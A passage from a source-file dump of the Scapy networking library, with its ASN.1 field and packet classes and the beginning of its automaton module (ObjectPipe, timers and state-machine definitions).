_SEQ_T\n                 context=None,  # type: Optional[Any]\n                 implicit_tag=None,  # type: Optional[Any]\n                 explicit_tag=None,  # type: Optional[Any]\n                 ):\n        # type: (...) -> None\n        if isinstance(cls, type) and issubclass(cls, ASN1F_field) or \\\n                isinstance(cls, ASN1F_field):\n            if isinstance(cls, type):\n                self.fld = cls(name, b\"\")\n            else:\n                self.fld = cls\n            self._extract_packet = lambda s, pkt: self.fld.m2i(pkt, s)\n            self.holds_packets = 0\n        elif hasattr(cls, \"ASN1_root\") or callable(cls):\n            self.cls = cast(\"Type[ASN1_Packet]\", cls)\n            self._extract_packet = lambda s, pkt: self.extract_packet(\n                self.cls, s, _underlayer=pkt)\n            self.holds_packets = 1\n        else:\n            raise ValueError(\"cls should be an ASN1_Packet or ASN1_field\")\n        super(ASN1F_SEQUENCE_OF, self).__init__(\n            name, None, context=context,\n            implicit_tag=implicit_tag, explicit_tag=explicit_tag\n        )\n        self.default = default\n\n    def is_empty(self,\n                 pkt,  # type: ASN1_Packet\n                 ):\n        # type: (...) -> bool\n        return ASN1F_field.is_empty(self, pkt)\n\n    def m2i(self,\n            pkt,  # type: ASN1_Packet\n            s,  # type: bytes\n            ):\n        # type: (...) -> Tuple[List[Any], bytes]\n        diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag,\n                                      implicit_tag=self.implicit_tag,\n                                      explicit_tag=self.explicit_tag,\n                                      safe=self.flexible_tag)\n        if diff_tag is not None:\n            if self.implicit_tag is not None:\n                self.implicit_tag = diff_tag\n            elif self.explicit_tag is not None:\n                self.explicit_tag = diff_tag\n        codec = self.ASN1_tag.get_codec(pkt.ASN1_codec)\n        i, s, remain = codec.check_type_check_len(s)\n        lst = []\n        while s:\n            c, s = self._extract_packet(s, pkt)  # type: ignore\n            if c:\n                lst.append(c)\n        if len(s) > 0:\n            raise BER_Decoding_Error(\"unexpected remainder\", remaining=s)\n        return lst, remain\n\n    def build(self, pkt):\n        # type: (ASN1_Packet) -> bytes\n        val = getattr(pkt, self.name)\n        if isinstance(val, ASN1_Object) and \\\n                val.tag == ASN1_Class_UNIVERSAL.RAW:\n            s = cast(Union[List[_SEQ_T], bytes], val)\n        elif val is None:\n            s = b\"\"\n        else:\n            s = b\"\".join(bytes(i) for i in val)\n        return self.i2m(pkt, s)\n\n    def i2repr(self, pkt, x):\n        # type: (ASN1_Packet, _I) -> str\n        if self.holds_packets:\n            return super(ASN1F_SEQUENCE_OF, self).i2repr(pkt, x)  # type: ignore\n        elif x is None:\n            return \"[]\"\n        else:\n            return \"[%s]\" % \", \".join(\n                self.fld.i2repr(pkt, x) for x in x  # type: ignore\n            )\n\n    def randval(self):\n        # type: () -> Any\n        if self.holds_packets:\n            return packet.fuzz(self.cls())\n        else:\n            return self.fld.randval()\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s %s>\" % (self.__class__.__name__, self.name)\n\n\nclass ASN1F_SET_OF(ASN1F_SEQUENCE_OF):\n    ASN1_tag = ASN1_Class_UNIVERSAL.SET\n\n\nclass ASN1F_IPADDRESS(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.IPADDRESS\n\n\nclass ASN1F_TIME_TICKS(ASN1F_INTEGER):\n    ASN1_tag = ASN1_Class_UNIVERSAL.TIME_TICKS\n\n\n#############################\n#    Complex ASN1 Fields    #\n#############################\n\nclass ASN1F_optional(ASN1F_element):\n    \"\"\"\n    ASN.1 field that is optional.\n    \"\"\"\n    def __init__(self, field):\n        # type: (ASN1F_field[Any, Any]) -> None\n        field.flexible_tag = False\n        self._field = field\n\n    def __getattr__(self, attr):\n        # type: (str) -> Optional[Any]\n        return getattr(self._field, attr)\n\n    def m2i(self, pkt, s):\n        # type: (ASN1_Packet, bytes) -> Tuple[Any, bytes]\n        try:\n            return self._field.m2i(pkt, s)\n        except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error):\n            # ASN1_Error may be raised by ASN1F_CHOICE\n            return None, s\n\n    def dissect(self, pkt, s):\n        # type: (ASN1_Packet, bytes) -> bytes\n        try:\n            return self._field.dissect(pkt, s)\n        except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error):\n            self._field.set_val(pkt, None)\n            return s\n\n    def build(self, pkt):\n        # type: (ASN1_Packet) -> bytes\n        if self._field.is_empty(pkt):\n            return b\"\"\n        return self._field.build(pkt)\n\n    def any2i(self, pkt, x):\n        # type: (ASN1_Packet, Any) -> Any\n        return self._field.any2i(pkt, x)\n\n    def i2repr(self, pkt, x):\n        # type: (ASN1_Packet, Any) -> str\n        return self._field.i2repr(pkt, x)\n\n\nclass ASN1F_omit(ASN1F_field[None, None]):\n    \"\"\"\n    ASN.1 field that is not specified. This is simply omitted on the network.\n    This is different from ASN1F_NULL which has a network representation.\n    \"\"\"\n    def m2i(self, pkt, s):\n        # type: (ASN1_Packet, bytes) -> Tuple[None, bytes]\n        return None, s\n\n    def i2m(self, pkt, x):\n        # type: (ASN1_Packet, Optional[bytes]) -> bytes\n        return b\"\"\n\n\n_CHOICE_T = Union['ASN1_Packet', Type[ASN1F_field[Any, Any]], 'ASN1F_PACKET']\n\n\nclass ASN1F_CHOICE(ASN1F_field[_CHOICE_T, ASN1_Object[Any]]):\n    \"\"\"\n    Multiple types are allowed: ASN1_Packet, ASN1F_field and ASN1F_PACKET(),\n    See layers/x509.py for examples.\n    Other ASN1F_field instances than ASN1F_PACKET instances must not be used.\n    \"\"\"\n    holds_packets = 1\n    ASN1_tag = ASN1_Class_UNIVERSAL.ANY\n\n    def __init__(self, name, default, *args, **kwargs):\n        # type: (str, Any, *_CHOICE_T, **Any) -> None\n        if \"implicit_tag\" in kwargs:\n            err_msg = \"ASN1F_CHOICE has been called with an implicit_tag\"\n            raise ASN1_Error(err_msg)\n        self.implicit_tag = None\n        for kwarg in [\"context\", \"explicit_tag\"]:\n            setattr(self, kwarg, kwargs.get(kwarg))\n        super(ASN1F_CHOICE, self).__init__(\n            name, None, context=self.context,\n            explicit_tag=self.explicit_tag\n        )\n        self.default = default\n        self.current_choice = None\n        self.choices = {}  # type: Dict[int, _CHOICE_T]\n        self.pktchoices = {}\n        for p in args:\n            if hasattr(p, \"ASN1_root\"):\n                p = cast('ASN1_Packet', p)\n                # should be ASN1_Packet\n                if hasattr(p.ASN1_root, \"choices\"):\n                    root = cast(ASN1F_CHOICE, p.ASN1_root)\n                    for k, v in root.choices.items():\n                        # ASN1F_CHOICE recursion\n                        self.choices[k] = v\n                else:\n                    self.choices[p.ASN1_root.network_tag] = p\n            elif hasattr(p, \"ASN1_tag\"):\n                if isinstance(p, type):\n                    # should be ASN1F_field class\n                    self.choices[int(p.ASN1_tag)] = p\n                else:\n                    # should be ASN1F_field instance\n                    self.choices[p.network_tag] = p\n                    self.pktchoices[hash(p.cls)] = (p.implicit_tag, p.explicit_tag)  # noqa: E501\n            else:\n                raise ASN1_Error(\"ASN1F_CHOICE: no tag found for one field\")\n\n    def m2i(self, pkt, s):\n        # type: (ASN1_Packet, bytes) -> Tuple[ASN1_Object[Any], bytes]\n        \"\"\"\n        First we have to retrieve the appropriate choice.\n        Then we extract the field/packet, according to this choice.\n        \"\"\"\n        if len(s) == 0:\n            raise ASN1_Error(\"ASN1F_CHOICE: got empty string\")\n        _, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag,\n                               explicit_tag=self.explicit_tag)\n        tag, _ = BER_id_dec(s)\n        if tag in self.choices:\n            choice = self.choices[tag]\n        else:\n            if self.flexible_tag:\n                choice = ASN1F_field\n            else:\n                raise ASN1_Error(\n                    \"ASN1F_CHOICE: unexpected field in '%s' \"\n                    \"(tag %s not in possible tags %s)\" % (\n                        self.name, tag, list(self.choices.keys())\n                    )\n                )\n        if hasattr(choice, \"ASN1_root\"):\n            # we don't want to import ASN1_Packet in this module...\n            return self.extract_packet(choice, s, _underlayer=pkt)  # type: ignore\n        elif isinstance(choice, type):\n            return choice(self.name, b\"\").m2i(pkt, s)\n        else:\n            # XXX check properly if this is an ASN1F_PACKET\n            return choice.m2i(pkt, s)\n\n    def i2m(self, pkt, x):\n        # type: (ASN1_Packet, Any) -> bytes\n        if x is None:\n            s = b\"\"\n        else:\n            s = bytes(x)\n            if hash(type(x)) in self.pktchoices:\n                imp, exp = self.pktchoices[hash(type(x))]\n                s = BER_tagging_enc(s,\n                                    implicit_tag=imp,\n                                    explicit_tag=exp)\n        return BER_tagging_enc(s, explicit_tag=self.explicit_tag)\n\n    def randval(self):\n        # type: () -> RandChoice\n        randchoices = []\n        for p in self.choices.values():\n            if hasattr(p, \"ASN1_root\"):\n                # should be ASN1_Packet class\n                randchoices.append(packet.fuzz(p()))  # type: ignore\n            elif hasattr(p, \"ASN1_tag\"):\n                if isinstance(p, type):\n                    # should be (basic) ASN1F_field class\n                    randchoices.append(p(\"dummy\", None).randval())\n                else:\n                    # should be ASN1F_PACKET instance\n                    randchoices.append(p.randval())\n        return RandChoice(*randchoices)\n\n\nclass ASN1F_PACKET(ASN1F_field['ASN1_Packet', Optional['ASN1_Packet']]):\n    holds_packets = 1\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[ASN1_Packet]\n                 cls,  # type: Type[ASN1_Packet]\n                 context=None,  # type: Optional[Any]\n                 implicit_tag=None,  # type: Optional[int]\n                 explicit_tag=None,  # type: Optional[int]\n                 next_cls_cb=None,  # type: Optional[Callable[[ASN1_Packet], Type[ASN1_Packet]]]  # noqa: E501\n                 ):\n        # type: (...) -> None\n        self.cls = cls\n        self.next_cls_cb = next_cls_cb\n        super(ASN1F_PACKET, self).__init__(\n            name, None, context=context,\n            implicit_tag=implicit_tag, explicit_tag=explicit_tag\n        )\n        if implicit_tag is None and explicit_tag is None and cls is not None:\n            if cls.ASN1_root.ASN1_tag == ASN1_Class_UNIVERSAL.SEQUENCE:\n                self.network_tag = 16 | 0x20  # 16 + CONSTRUCTED\n        self.default = default\n\n    def m2i(self, pkt, s):\n        # type: (ASN1_Packet, bytes) -> Tuple[Any, bytes]\n        if self.next_cls_cb:\n            cls = self.next_cls_cb(pkt) or self.cls\n        else:\n            cls = self.cls\n        if not hasattr(cls, \"ASN1_root\"):\n            # A normal Packet (!= ASN1)\n            return self.extract_packet(cls, s, _underlayer=pkt)\n        diff_tag, s = BER_tagging_dec(s, hidden_tag=cls.ASN1_root.ASN1_tag,  # noqa: E501\n                                      implicit_tag=self.implicit_tag,\n                                      explicit_tag=self.explicit_tag,\n                                      safe=self.flexible_tag,\n                                      _fname=self.name)\n        if diff_tag is not None:\n            if self.implicit_tag is not None:\n                self.implicit_tag = diff_tag\n            elif self.explicit_tag is not None:\n                self.explicit_tag = diff_tag\n        if not s:\n            return None, s\n        return self.extract_packet(cls, s, _underlayer=pkt)\n\n    def i2m(self,\n            pkt,  # type: ASN1_Packet\n            x  # type: Union[bytes, ASN1_Packet, None, ASN1_Object[Optional[ASN1_Packet]]]  # noqa: E501\n            ):\n        # type: (...) -> bytes\n        if x is None:\n            s = b\"\"\n        elif isinstance(x, bytes):\n            s = x\n        elif isinstance(x, ASN1_Object):\n            if x.val:\n                s = bytes(x.val)\n            else:\n                s = b\"\"\n        else:\n            s = bytes(x)\n            if not hasattr(x, \"ASN1_root\"):\n                # A normal Packet (!= ASN1)\n                return s\n        return BER_tagging_enc(s,\n                               implicit_tag=self.implicit_tag,\n                               explicit_tag=self.explicit_tag)\n\n    def any2i(self,\n              pkt,  # type: ASN1_Packet\n              x  # type: Union[bytes, ASN1_Packet, None, ASN1_Object[Optional[ASN1_Packet]]]  # noqa: E501\n              ):\n        # type: (...) -> 'ASN1_Packet'\n        if hasattr(x, \"add_underlayer\"):\n            x.add_underlayer(pkt)  # type: ignore\n        return super(ASN1F_PACKET, self).any2i(pkt, x)\n\n    def randval(self):  # type: ignore\n        # type: () -> ASN1_Packet\n        return packet.fuzz(self.cls())\n\n\nclass ASN1F_BIT_STRING_ENCAPS(ASN1F_BIT_STRING):\n    \"\"\"\n    We may emulate simple string encapsulation with explicit_tag=0x04,\n    but we need a specific class for bit strings because of unused bits, etc.\n    \"\"\"\n    ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[ASN1_Packet]\n                 cls,  # type: Type[ASN1_Packet]\n                 context=None,  # type: Optional[Any]\n                 implicit_tag=None,  # type: Optional[int]\n                 explicit_tag=None,  # type: Optional[int]\n                 ):\n        # type: (...) -> None\n        self.cls = cls\n        super(ASN1F_BIT_STRING_ENCAPS, self).__init__(  # type: ignore\n            name,\n            default and bytes(default),\n            context=context,\n            implicit_tag=implicit_tag,\n            explicit_tag=explicit_tag\n        )\n\n    def m2i(self, pkt, s):  # type: ignore\n        # type: (ASN1_Packet, bytes) -> Tuple[Optional[ASN1_Packet], bytes]\n        bit_string, remain = super(ASN1F_BIT_STRING_ENCAPS, self).m2i(pkt, s)\n        if len(bit_string.val) % 8 != 0:\n            raise BER_Decoding_Error(\"wrong bit string\", remaining=s)\n        if bit_string.val_readable:\n            p, s = self.extract_packet(self.cls, bit_string.val_readable,\n                                       _underlayer=pkt)\n        else:\n            return None, bit_string.val_readable\n        if len(s) > 0:\n            raise BER_Decoding_Error(\"unexpected remainder\", remaining=s)\n        return p, remain\n\n    def i2m(self, pkt, x):  # type: ignore\n        # type: (ASN1_Packet, Optional[ASN1_BIT_STRING]) -> bytes\n        if not isinstance(x, ASN1_BIT_STRING):\n            x = ASN1_BIT_STRING(\n                b\"\" if x is None else bytes(x),  # type: ignore\n                readable=True,\n            )\n        return super(ASN1F_BIT_STRING_ENCAPS, self).i2m(pkt, x)\n\n\nclass ASN1F_FLAGS(ASN1F_BIT_STRING):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[str]\n                 mapping,  # type: List[str]\n                 context=None,  # type: Optional[Any]\n                 implicit_tag=None,  # type: Optional[int]\n                 explicit_tag=None,  # type: Optional[Any]\n                 ):\n        # type: (...) -> None\n        self.mapping = mapping\n        super(ASN1F_FLAGS, self).__init__(\n            name, default,\n            default_readable=False,\n            context=context,\n            implicit_tag=implicit_tag,\n            explicit_tag=explicit_tag\n        )\n\n    def any2i(self, pkt, x):\n        # type: (ASN1_Packet, Any) -> str\n        if isinstance(x, str):\n            if any(y not in [\"0\", \"1\"] for y in x):\n                # resolve the flags\n                value = [\"0\"] * len(self.mapping)\n                for i in x.split(\"+\"):\n                    value[self.mapping.index(i)] = \"1\"\n                x = \"\".join(value)\n            x = ASN1_BIT_STRING(x)\n        return super(ASN1F_FLAGS, self).any2i(pkt, x)\n\n    def get_flags(self, pkt):\n        # type: (ASN1_Packet) -> List[str]\n        fbytes = getattr(pkt, self.name).val\n        return [self.mapping[i] for i, positional in enumerate(fbytes)\n                if positional == '1' and i < len(self.mapping)]\n\n    def i2repr(self, pkt, x):\n        # type: (ASN1_Packet, Any) -> str\n        if x is not None:\n            pretty_s = \", \".join(self.get_flags(pkt))\n            return pretty_s + \" \" + repr(x)\n        return repr(x)\n\n\nclass ASN1F_STRING_PacketField(ASN1F_STRING):\n    \"\"\"\n    ASN1F_STRING that holds packets.\n    \"\"\"\n    holds_packets = 1\n\n    def i2m(self, pkt, val):\n        # type: (ASN1_Packet, Any) -> bytes\n        if hasattr(val, \"ASN1_root\"):\n            val = ASN1_STRING(bytes(val))\n        return super(ASN1F_STRING_PacketField, self).i2m(pkt, val)\n\n    def any2i(self, pkt, x):\n        # type: (ASN1_Packet, Any) -> Any\n        if hasattr(x, \"add_underlayer\"):\n            x.add_underlayer(pkt)\n        return super(ASN1F_STRING_PacketField, self).any2i(pkt, x)\n\n\nclass ASN1F_STRING_ENCAPS(ASN1F_STRING_PacketField):\n    \"\"\"\n    ASN1F_STRING that encapsulates a single ASN1 packet.\n    \"\"\"\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[ASN1_Packet]\n                 cls,  # type: Type[ASN1_Packet]\n                 context=None,  # type: Optional[Any]\n                 implicit_tag=None,  # type: Optional[int]\n                 explicit_tag=None,  # type: Optional[int]\n                 ):\n        # type: (...) -> None\n        self.cls = cls\n        super(ASN1F_STRING_ENCAPS, self).__init__(\n            name,\n            default and bytes(default),  # type: ignore\n            context=context,\n            implicit_tag=implicit_tag,\n            explicit_tag=explicit_tag\n        )\n\n    def m2i(self, pkt, s):  # type: ignore\n        # type: (ASN1_Packet, bytes) -> Tuple[ASN1_Packet, bytes]\n        val = super(ASN1F_STRING_ENCAPS, self).m2i(pkt, s)\n        return self.cls(val[0].val, _underlayer=pkt), val[1]\n"
  },
  {
    "path": "scapy/asn1packet.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nASN.1 Packet\n\nPacket holding data in Abstract Syntax Notation (ASN.1).\n\"\"\"\n\nfrom scapy.base_classes import Packet_metaclass\nfrom scapy.packet import Packet\n\nfrom typing import (\n    Any,\n    Dict,\n    Tuple,\n    Type,\n    cast,\n    TYPE_CHECKING,\n)\n\nif TYPE_CHECKING:\n    from scapy.asn1fields import ASN1F_field  # noqa: F401\n\n\nclass ASN1Packet_metaclass(Packet_metaclass):\n    def __new__(cls,\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[ASN1_Packet]\n        if dct[\"ASN1_root\"] is not None:\n            dct[\"fields_desc\"] = dct[\"ASN1_root\"].get_fields_list()\n        return cast(\n            'Type[ASN1_Packet]',\n            super(ASN1Packet_metaclass, cls).__new__(cls, name, bases, dct),\n        )\n\n\nclass ASN1_Packet(Packet, metaclass=ASN1Packet_metaclass):\n    ASN1_root = cast('ASN1F_field[Any, Any]', None)\n    ASN1_codec = None\n\n    def self_build(self):\n        # type: () -> bytes\n        if self.raw_packet_cache is not None:\n            return self.raw_packet_cache\n        return self.ASN1_root.build(self)\n\n    def do_dissect(self, x):\n        # type: (bytes) -> bytes\n        return self.ASN1_root.dissect(self, x)\n"
  },
  {
    "path": "scapy/automaton.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nAutomata with states, transitions and actions.\n\nTODO:\n    - add documentation for ioevent, as_supersocket...\n\"\"\"\n\nimport ctypes\nimport itertools\nimport logging\nimport os\nimport random\nimport socket\nimport sys\nimport threading\nimport time\nimport traceback\nimport types\n\nimport select\nfrom collections import deque\n\nfrom scapy.config import conf\nfrom scapy.consts import WINDOWS\nfrom scapy.data import MTU\nfrom scapy.error import log_runtime, warning\nfrom scapy.interfaces import _GlobInterfaceType\nfrom scapy.packet import Packet\nfrom scapy.plist import PacketList\nfrom scapy.supersocket import SuperSocket, StreamSocket\nfrom scapy.utils import do_graph\n\n# Typing imports\nfrom typing import (\n    Any,\n    Callable,\n    Deque,\n    Dict,\n    Generic,\n    Iterable,\n    Iterator,\n    List,\n    Optional,\n    Set,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n    cast,\n)\nfrom scapy.compat import DecoratorCallable\n\n\n# winsock.h\nFD_READ = 0x00000001\n\n\ndef select_objects(inputs, remain):\n    # type: (Iterable[Any], Union[float, int, None]) -> List[Any]\n    \"\"\"\n    Select objects. Same than:\n    ``select.select(inputs, [], [], remain)``\n\n    But also works on Windows, only on objects whose fileno() returns\n    a Windows event. For simplicity, just use `ObjectPipe()` as a queue\n    that you can select on whatever the platform is.\n\n    If you want an object to be always included in the output of\n    select_objects (i.e. it's not selectable), just make fileno()\n    return a strictly negative value.\n\n    Example:\n\n        >>> a, b = ObjectPipe(\"a\"), ObjectPipe(\"b\")\n        >>> b.send(\"test\")\n        >>> select_objects([a, b], 1)\n        [b]\n\n    :param inputs: objects to process\n    :param remain: timeout. If 0, poll. If None, block.\n    \"\"\"\n    if not WINDOWS:\n        return select.select(inputs, [], [], remain)[0]\n    inputs = list(inputs)\n    events = []\n    created = []\n    results = set()\n    for i in inputs:\n        if getattr(i, \"__selectable_force_select__\", False):\n            # Native socket.socket object. We would normally use select.select.\n            evt = ctypes.windll.ws2_32.WSACreateEvent()\n            created.append(evt)\n            res = ctypes.windll.ws2_32.WSAEventSelect(\n                ctypes.c_void_p(i.fileno()),\n                evt,\n                FD_READ\n            )\n            if res == 0:\n                # Was a socket\n                events.append(evt)\n            else:\n                # Fallback to normal event\n                events.append(i.fileno())\n        elif i.fileno() < 0:\n            # Special case: On Windows, we consider that an object that returns\n            # a negative fileno (impossible), is always readable. This is used\n            # in very few places but important (e.g. PcapReader), where we have\n            # no valid fileno (and will stop on EOFError).\n            results.add(i)\n            remain = 0\n        else:\n            events.append(i.fileno())\n    if events:\n        # 0xFFFFFFFF = INFINITE\n        remainms = int(remain * 1000 if remain is not None else 0xFFFFFFFF)\n        if len(events) == 1:\n            res = ctypes.windll.kernel32.WaitForSingleObject(\n                ctypes.c_void_p(events[0]),\n                remainms\n            )\n        else:\n            # Sadly, the only way to emulate select() is to first check\n            # if any object is available using WaitForMultipleObjects\n            # then poll the others.\n            res = ctypes.windll.kernel32.WaitForMultipleObjects(\n                len(events),\n                (ctypes.c_void_p * len(events))(\n                    *events\n                ),\n                False,\n                remainms\n            )\n        if res != 0xFFFFFFFF and res != 0x00000102:  # Failed or Timeout\n            results.add(inputs[res])\n            if len(events) > 1:\n                # Now poll the others, if any\n                for i, evt in enumerate(events):\n                    res = ctypes.windll.kernel32.WaitForSingleObject(\n                        ctypes.c_void_p(evt),\n                        0  # poll: don't wait\n                    )\n                    if res == 0:\n                        results.add(inputs[i])\n    # Cleanup created events, if any\n    for evt in created:\n        ctypes.windll.ws2_32.WSACloseEvent(evt)\n    return list(results)\n\n\n_T = TypeVar(\"_T\")\n\n\nclass ObjectPipe(Generic[_T]):\n    def __init__(self, name=None):\n        # type: (Optional[str]) -> None\n        self.name = name or \"ObjectPipe\"\n        self.closed = False\n        self.__rd, self.__wr = os.pipe()\n        self.__queue = deque()  # type: Deque[_T]\n        if WINDOWS:\n            self._wincreate()\n\n    if WINDOWS:\n        def _wincreate(self):\n            # type: () -> None\n            self._fd = cast(int, ctypes.windll.kernel32.CreateEventA(\n                None, True, False,\n                ctypes.create_string_buffer(b\"ObjectPipe %f\" % random.random())\n            ))\n\n        def _winset(self):\n            # type: () -> None\n            if ctypes.windll.kernel32.SetEvent(ctypes.c_void_p(self._fd)) == 0:\n                warning(ctypes.FormatError(ctypes.GetLastError()))\n\n        def _winreset(self):\n            # type: () -> None\n            if ctypes.windll.kernel32.ResetEvent(ctypes.c_void_p(self._fd)) == 0:\n                warning(ctypes.FormatError(ctypes.GetLastError()))\n\n        def _winclose(self):\n            # type: () -> None\n            if ctypes.windll.kernel32.CloseHandle(ctypes.c_void_p(self._fd)) == 0:\n                warning(ctypes.FormatError(ctypes.GetLastError()))\n\n    def fileno(self):\n        # type: () -> int\n        if WINDOWS:\n            return self._fd\n        return self.__rd\n\n    def send(self, obj):\n        # type: (_T) -> int\n        self.__queue.append(obj)\n        if WINDOWS:\n            self._winset()\n        os.write(self.__wr, b\"X\")\n        return 1\n\n    def write(self, obj):\n        # type: (_T) -> None\n        self.send(obj)\n\n    def empty(self):\n        # type: () -> bool\n        return not bool(self.__queue)\n\n    def flush(self):\n        # type: () -> None\n        pass\n\n    def recv(self, n=0, options=socket.MsgFlag(0)):\n        # type: (Optional[int], socket.MsgFlag) -> Optional[_T]\n        if self.closed:\n            raise EOFError\n        if options & socket.MSG_PEEK:\n            if self.__queue:\n                return self.__queue[0]\n            return None\n        os.read(self.__rd, 1)\n        elt = self.__queue.popleft()\n        if WINDOWS and not self.__queue:\n            self._winreset()\n        return elt\n\n    def read(self, n=0):\n        # type: (Optional[int]) -> Optional[_T]\n        return self.recv(n)\n\n    def clear(self):\n        # type: () -> None\n        if not self.closed:\n            while not self.empty():\n                self.recv()\n\n    def close(self):\n        # type: () -> None\n        if not self.closed:\n            self.closed = True\n            os.close(self.__rd)\n            os.close(self.__wr)\n            if WINDOWS:\n                try:\n                    self._winclose()\n                except ImportError:\n                    # Python is shutting down\n                    pass\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s at %s>\" % (self.name, id(self))\n\n    def __del__(self):\n        # type: () -> None\n        self.close()\n\n    @staticmethod\n    def select(sockets, remain=conf.recv_poll_rate):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        # Only handle ObjectPipes\n        results = []\n        for s in sockets:\n            if s.closed:  # allow read to trigger EOF\n                results.append(s)\n        if results:\n            return results\n        return select_objects(sockets, remain)\n\n\nclass Message:\n    type = None        # type: str\n    pkt = None         # type: Packet\n    result = None      # type: str\n    state = None       # type: Message\n    exc_info = None    # type: Union[Tuple[None, None, None], Tuple[BaseException, Exception, types.TracebackType]] # noqa: E501\n\n    def __init__(self, **args):\n        # type: (Any) -> None\n        self.__dict__.update(args)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<Message %s>\" % \" \".join(\n            \"%s=%r\" % (k, v)\n            for k, v in self.__dict__.items()\n            if not k.startswith(\"_\")\n        )\n\n\nclass Timer():\n    def __init__(self, time, prio=0, autoreload=False):\n        # type: (Union[int, float], int, bool) -> None\n        self._timeout = float(time)  # type: float\n        self._time = 0  # type: float\n        self._just_expired = True\n        self._expired = True\n        self._prio = prio\n        self._func = _StateWrapper()\n        self._autoreload = autoreload\n\n    def get(self):\n        # type: () -> float\n        return self._timeout\n\n    def set(self, val):\n        # type: (float) -> None\n        self._timeout = val\n\n    def _reset(self):\n        # type: () -> None\n        self._time = self._timeout\n        self._expired = False\n        self._just_expired = False\n\n    def _reset_just_expired(self):\n        # type: () -> None\n        self._just_expired = False\n\n    def _running(self):\n        # type: () -> bool\n        return self._time > 0\n\n    def _remaining(self):\n        # type: () -> float\n        return max(self._time, 0)\n\n    def _decrement(self, time):\n        # type: (float) -> None\n        self._time -= time\n        if self._time <= 0:\n            if not self._expired:\n                self._just_expired = True\n                if self._autoreload:\n                    # take overshoot into account\n                    self._time = self._timeout + self._time\n                else:\n                    self._expired = True\n                    self._time = 0\n\n    def __lt__(self, obj):\n        # type: (Timer) -> bool\n        return ((self._time < obj._time) if self._time != obj._time\n                else (self._prio < obj._prio))\n\n    def __gt__(self, obj):\n        # type: (Timer) -> bool\n        return ((self._time > obj._time) if self._time != obj._time\n                else (self._prio > obj._prio))\n\n    def __eq__(self, obj):\n        # type: (Any) -> bool\n        if not isinstance(obj, Timer):\n            raise NotImplementedError()\n        return (self._time == obj._time) and (self._prio == obj._prio)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<Timer %f(%f)>\" % (self._time, self._timeout)\n\n\nclass _TimerList():\n    def __init__(self):\n        # type: () -> None\n        self.timers = []  # type: list[Timer]\n\n    def add_timer(self, timer):\n        # type: (Timer) -> None\n        self.timers.append(timer)\n\n    def reset(self):\n        # type: () -> None\n        for t in self.timers:\n            t._reset()\n\n    def decrement(self, time):\n        # type: (float) -> None\n        for t in self.timers:\n            t._decrement(time)\n\n    def expired(self):\n        # type: () -> list[Timer]\n        lst = [t for t in self.timers if t._just_expired]\n        lst.sort(key=lambda x: x._prio, reverse=True)\n        for t in lst:\n            t._reset_just_expired()\n        return lst\n\n    def until_next(self):\n        # type: () -> Optional[float]\n        try:\n            return min([t._remaining() for t in self.timers if t._running()])\n        except ValueError:\n            return None  # None means blocking\n\n    def count(self):\n        # type: () -> int\n        return len(self.timers)\n\n    def __iter__(self):\n        # type: () -> Iterator[Timer]\n        return self.timers.__iter__()\n\n    def __repr__(self):\n        # type: () -> str\n        return self.timers.__repr__()\n\n\nclass _instance_state:\n    def __init__(self, instance):\n        # type: (Any) -> None\n        self.__self__ = instance.__self__\n        self.__func__ = instance.__func__\n        self.__self__.__class__ = instance.__self__.__class__\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        return getattr(self.__func__, attr)\n\n    def __call__(self, *args, **kargs):\n        # type: (Any, Any) -> Any\n        return self.__func__(self.__self__, *args, **kargs)\n\n    def breaks(self):\n        # type: () -> Any\n        return self.__self__.add_breakpoints(self.__func__)\n\n    def intercepts(self):\n        # type: () -> Any\n        return self.__self__.add_interception_points(self.__func__)\n\n    def unbreaks(self):\n        # type: () -> Any\n        return self.__self__.remove_breakpoints(self.__func__)\n\n    def unintercepts(self):\n        # type: () -> Any\n        return self.__self__.remove_interception_points(self.__func__)\n\n\n##############\n#  Automata  #\n##############\n\nclass _StateWrapper:\n    __name__ = None             # type: str\n    atmt_type = None            # type: str\n    atmt_state = None           # type: str\n    atmt_initial = None         # type: int\n    atmt_final = None           # type: int\n    atmt_stop = None            # type: int\n    atmt_error = None           # type: int\n    atmt_origfunc = None        # type: _StateWrapper\n    atmt_prio = None            # type: int\n    atmt_as_supersocket = None  # type: Optional[str]\n    atmt_condname = None        # type: str\n    atmt_ioname = None          # type: str\n    atmt_timeout = None         # type: Timer\n    atmt_cond = None            # type: Dict[str, int]\n    __code__ = None             # type: types.CodeType\n    __call__ = None             # type: Callable[..., ATMT.NewStateRequested]\n\n\nclass ATMT:\n    STATE = \"State\"\n    ACTION = \"Action\"\n    CONDITION = \"Condition\"\n    RECV = \"Receive condition\"\n    TIMEOUT = \"Timeout condition\"\n    EOF = \"EOF condition\"\n    IOEVENT = \"I/O event\"\n\n    class NewStateRequested(Exception):\n        def __init__(self, state_func, automaton, *args, **kargs):\n            # type: (Any, ATMT, Any, Any) -> None\n            self.func = state_func\n            self.state = state_func.atmt_state\n            self.initial = state_func.atmt_initial\n            self.error = state_func.atmt_error\n            self.stop = state_func.atmt_stop\n            